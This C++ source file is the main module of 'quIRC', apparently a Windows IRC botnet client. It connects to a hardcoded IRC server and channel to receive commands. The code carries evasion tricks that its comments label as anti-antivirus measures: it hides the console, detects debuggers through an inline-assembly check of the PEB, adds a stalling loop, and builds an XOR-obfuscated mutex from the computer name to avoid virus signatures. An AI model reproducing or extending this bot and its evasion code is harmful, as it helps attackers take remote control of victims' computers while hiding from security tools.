/*
This file is part of quIRC bot

    quIRC bot is free software: you can redistribute it and/or modify
    it under the terms of the GNU General Public License as published by
    the Free Software Foundation, either version 3 of the License, or
    (at your option) any later version.

    quIRC bot is distributed in the hope that it will be useful,
    but WITHOUT ANY WARRANTY; without even the implied warranty of
    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
    GNU General Public License for more details.

    You should have received a copy of the GNU General Public License
    along with quIRC bot.  If not, see <http://www.gnu.org/licenses/>.
*/

/*
	quIRC - An IRC bot named quirk
 				.______________________  
	  ________ __|   \______   \_   ___ \ 
	 / ____/  |  \   ||       _/    \  \/ 
	< <_|  |  |  /   ||    |   \     \____
	 \__   |____/|___||____|_  /\______  /
		|__|                 \/        \/ 
	by hELWiRE! and Tox1k

	coded in c++ and winapi
	for windows systems
*/

#include "include.h"
#include "irc.h"

#pragma comment(lib,"Ws2_32.lib")

const char* IRC_Server		= "irc.myirc.net";
int			IRC_Port		= 6667;
const char* IRC_Channel		= "#testing";
const char* IRC_Pass		= "";
const char* IRC_Nick		= "quIRC";
const char* IRC_User		= "by Tox1k";
char		COMMAND_TRIGGER	= '`';


void transform_mutex(tAZNET *bot);
bool __stdcall IsBeingDebugged();

int main(int argc, char *argv[])
{
	tAZNET bot;
	IRC_CONNECTION irc;
	// An anti-a/v trick...
  #ifndef DEBUG_MODE
	FreeConsole();
	if(IsBeingDebugged())
		return 0;
	for (DWORD x = 0; x < 0xFFFFFFFF; x++){}
	if(IsBeingDebugged())
		return 0;
  #endif
  #ifdef DEBUG_MODE
 	printf("	quIRC - An IRC bot named quirk\n                     .______________________\n          ________ __|   \\______   \\_   ___ \\ \n	 / ____/  |  \\   ||       _/    \\  \\/ \n	< <_|  |  |  /   ||    |   \\     \\____\n	 \\__   |____/|___||____|_  /\\______  /\n            |__|                 \\/        \\/\n        by hELWiRE! and Tox1k\n\n\n");
  #endif
	
	// First let's check if our bot is already running
	transform_mutex(&bot);									// Get our mutex then modify it to be unique
	bot.hMutex = CreateMutexA(NULL, false, bot.mutex);	// CreateMutex returns a mutex handle
	if(GetLastError() == ERROR_ALREADY_EXISTS)	
	{
	  #ifdef DEBUG_MODE
			printf("Error initializing mutex - mutex already exists.");
			getchar();
	  #endif
		return 1;
	}
	// Our mutex has passed so let's continue
	bot.hProcID = GetCurrentProcessId();
	bot.hHandle = GetCurrentProcess(); // (HANDLE)-1 for compatibility
	bot.hInst = GetModuleHandle(NULL); // No idea why I'd need this, but just in case
	// Output random shit for debug mode
  #ifdef DEBUG_MODE
	printf("Debug info:\n-----------\n");
	printf("Mutex: %s\n", bot.mutex);
	printf("Process Id: %i\n", bot.hProcID);
	printf("Handle: %i\n", bot.hHandle);
	printf("Module: %i\n", bot.hInst);
  #endif
	
	// Okay we're started up fine so let's do our stuff!
	if(!irc.IRCInit())		// if we can't create wsadata / dll is out of date
	{
	  #ifdef DEBUG_MODE
		printf("\nERROR: WSADATA could not be initialized!\n");
		getchar();
	  #endif
		return 2;
	}

	// Get server IP
	if(irc.JoinServer(IRC_Server, IRC_Port, IRC_Channel, IRC_Pass, IRC_Nick, IRC_User))

	irc.MessageLoop();

  #ifdef DEBUG_MODE
	printf("End reached.\n");
	getchar();
  #endif

	// Clean up our IRC connections and mutex (this shouldn't be reached but whatever)
	ReleaseMutex(bot.hMutex);		// CloseHandle() with compatibility!
	irc.IRCClose();					// WSACleanup()
	return 0;
}


/*
    Function:	transform_mutex()
       Input:	none
 Description:	Sets the mutex to a(n encrypted?) form of the computer name so we don't have a recognizable mutex (virus checks)
*/
void transform_mutex(tAZNET *bot)
{
	bot->mutex = getenv("COMPUTERNAME");
	int counter = 0;
	while(bot->mutex[counter] != '\0')
	{
		bot->mutex[counter] ^= counter;
		counter++;
	}
	return;
}


/*
    Function:	IsBeingDebugged()
       Input:	none
 Description:	IsDebuggerPresent() inline
*/
bool __stdcall IsBeingDebugged()
{
	bool bDebug;
	__asm 
	{
		mov eax, fs:[30h]
		mov al, [eax + 2h]
		mov bDebug, al
    }
    return bDebug;
}